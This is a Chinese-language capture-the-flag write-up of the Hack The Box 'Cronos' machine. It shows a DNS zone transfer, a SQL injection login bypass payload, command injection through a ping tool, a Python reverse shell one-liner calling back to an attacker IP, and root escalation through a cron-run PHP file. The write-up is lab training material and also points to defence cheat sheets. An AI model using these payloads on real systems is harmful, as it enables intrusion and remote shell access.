[Hack The Box] Cronos – writeup

💀 OS: linux 💀 Difficulty: medium 💀 Release date: 2017.05.22 💀 Vulnerability : PHP, SQL, DNS Zone Transfer. SQLi, Web

Scanning and Enumeration:

nmap:

┌──(root💀kali)-[~/Desktop/OSCP/cronos]
└─# nmap -sV -sC 10.10.10.13 148 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-03 00:43 EST
Nmap scan report for 10.10.10.13
Host is up (0.22s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

發現三個端口是打開的:

Port 22: OpenSSH 7.2p2
Port 53: ISC BIND 9.10.3-P4 (DNS)
Port 80: Apache httpd 2.4.18

把網頁打開之後就是apache預設頁面而已,沒有存在什麼有用的服務

gobuster:

┌──(root💀kali)-[~/Desktop/OSCP/cronos]
└─# gobuster dir -u http://10.10.10.13 -w /usr/share/dirb/wordlists/common.txt -x txt,php,py,cgi 2 ⚙
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.13
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: cgi,txt,php,py
[+] Timeout: 10s
===============================================================
2022/01/03 03:13:44 Starting gobuster in directory enumeration mode
===============================================================
/.hta.py (Status: 403) [Size: 293]
/.hta (Status: 403) [Size: 290]
/.hta.cgi (Status: 403) [Size: 294]
/.hta.txt (Status: 403) [Size: 294]
/.hta.php (Status: 403) [Size: 294]
/.htaccess.txt (Status: 403) [Size: 299]
/.htpasswd.php (Status: 403) [Size: 299]
/.htaccess.php (Status: 403) [Size: 299]
/.htpasswd.py (Status: 403) [Size: 298]
/.htaccess.py (Status: 403) [Size: 298]
/.htpasswd (Status: 403) [Size: 295]
/.htaccess.cgi (Status: 403) [Size: 299]
/.htpasswd.cgi (Status: 403) [Size: 299]
/.htaccess (Status: 403) [Size: 295]
/.htpasswd.txt (Status: 403) [Size: 299]
/index.html (Status: 200) [Size: 11439]
/server-status (Status: 403) [Size: 299]

使用gobuster掃描之後掃不出什麼東西
Goolge一下Apache2 Ubuntu Default Page之後得知IP不知道要映射到哪一個域名所以顯示出預設的伺服器頁面
這邊應該算是屬於配置上的錯誤
所以接下來的目的為1.找出正確的域名 2.在hosts裡面加入IP和域名,讓本地可以直接瀏覽

這邊就得到了cronos.htb域名,在把它加入到hosts裡面就可以正常瀏覽網站了

10.10.10.13 cronos.htb


接著再使用一次gobuster來掃描網站目錄看看有沒有新發現

┌──(root💀kali)-[~/Desktop/OSCP/cronos]
└─# gobuster dir -u http://cronos.htb/ -w /usr/share/dirb/wordlists/common.txt -x txt,php,py,cgi 1 ⨯ 2 ⚙
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cronos.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php,py,cgi
[+] Timeout: 10s
===============================================================
2022/01/03 04:06:59 Starting gobuster in directory enumeration mode
===============================================================
/.hta.php (Status: 403) [Size: 293]
/.hta.py (Status: 403) [Size: 292]
/.hta.cgi (Status: 403) [Size: 293]
/.hta (Status: 403) [Size: 289]
/.hta.txt (Status: 403) [Size: 293]
/.htaccess (Status: 403) [Size: 294]
/.htpasswd.py (Status: 403) [Size: 297]
/.htaccess.txt (Status: 403) [Size: 298]
/.htpasswd.cgi (Status: 403) [Size: 298]
/.htaccess.php (Status: 403) [Size: 298]
/.htpasswd.txt (Status: 403) [Size: 298]
/.htaccess.py (Status: 403) [Size: 297]
/.htpasswd.php (Status: 403) [Size: 298]
/.htaccess.cgi (Status: 403) [Size: 298]
/.htpasswd (Status: 403) [Size: 294]
/css (Status: 301) [Size: 306] [--> http://cronos.htb/css/]
/favicon.ico (Status: 200) [Size: 0] 
/index.php (Status: 200) [Size: 2319] 
/index.php (Status: 200) [Size: 2319] 
/js (Status: 301) [Size: 305] [--> http://cronos.htb/js/] 
/robots.txt (Status: 200) [Size: 24] 
/robots.txt (Status: 200) [Size: 24] 
/server-status (Status: 403) [Size: 298] 
/web.config (Status: 200) [Size: 914]

可惜的是一樣沒有什麼可用的資訊,接下來找看看在這個DNS zone反解有沒有其他網域
下面介紹三種反解DNS zone的指令

語法一: host -l <domain-name> <dns_server-address>
-> host -l cronos.htb 10.10.10.13

語法二: dig @10.10.10.13 cronos.htb any
語法三: dig axfr @10.10.10.13 cronos.htb


get admin.cronos.htb !!

10.10.10.13 cronos.htb admin.cronos.htb

exploit:

管理員的登入頁面嘗試過幾組弱密碼都無法登入,接下來要使用SQL Authentication bypass嘗試看看
但是因為數量非常多,不太可能一組一組嘗試
這邊我們使用brupsuite進行暴力破解 (使用hydra也可以)
一開始先嘗試抓一組登入的封包觀察帳號密碼的格式

HTTP history -> 右鍵 send to intruder -> intruder -> positions
把變數都取消,這邊只需要把username當作變數



intruder -> payload -> 匯入剛剛的Authentication bypass
基本上暴力破解的設定到這邊就結束了,exploit!!


大多數的長度都是1887,可以判斷1887都是登入失敗的頁面

' or 1=1 limit 1 -- -+


登入之後有一個Net Tool v0.1,這是一個很簡單的網頁測試工具
嘗試後面加上;ls 來測試看看能不能執行命令

8.8.8.8;whoami

8.8.8.8;cat /home/noulis/user.txt

這邊確定命令是可以執行的,甚至是可以直接取得user.txt
有測試過bash reverseshell但是沒辦法連進去,可能這台機器就是沒辦法這麼用
這時候可以多試試看其他reverseshll,這邊我選python的
順利取的www-data權限,再來提權!!

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Privilege Escalation:

透過crontab -l 來查閱 crontab 的工作內容,crontab 是一個在linux系統底下可以定時執行任務的程式
再去查看crontab的設定內容(cat /etc/crontab), 可以看出有一個檔案以每分每秒都在使用root權限執行
(* * * * * root php /var/www/laravel/artisan) 這是一隻PHP檔案
也就是說如果可以修改這隻PHP的內容就可以改成php reverseshell來取得root權限

Reflections:

這是我第一台學習medium難度的機器,這台機器上從一開始的DNS zone transfer能夠讓我們獲取該主機上所有的網域列表
管理員介面的SQL injection 而且還是使用Authentication bypass就可以成功登入了
下面會貼一篇關於SQL injection的防禦技巧,有興趣的人可以研究看看
登入之後輸入框也有command injection的漏洞,
再來是cron的配置不佳不應該使用root權限來進行任務的排程就如上面內容
這會使攻擊者輕易的就拿到root權限

reference:

鳥哥 – 例行性工作排程(crontab)
鳥哥 – 主機名稱控制者: DNS 伺服器
ithome鐵人賽 – 利用DNS – nslookup
crontab
SQL cheatsheet 
Reverse Shell Cheat Sheet
php-reverse-shell
SQL Injection Prevention Cheat Sheet
OS Command Injection Defense Cheat Sheet

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *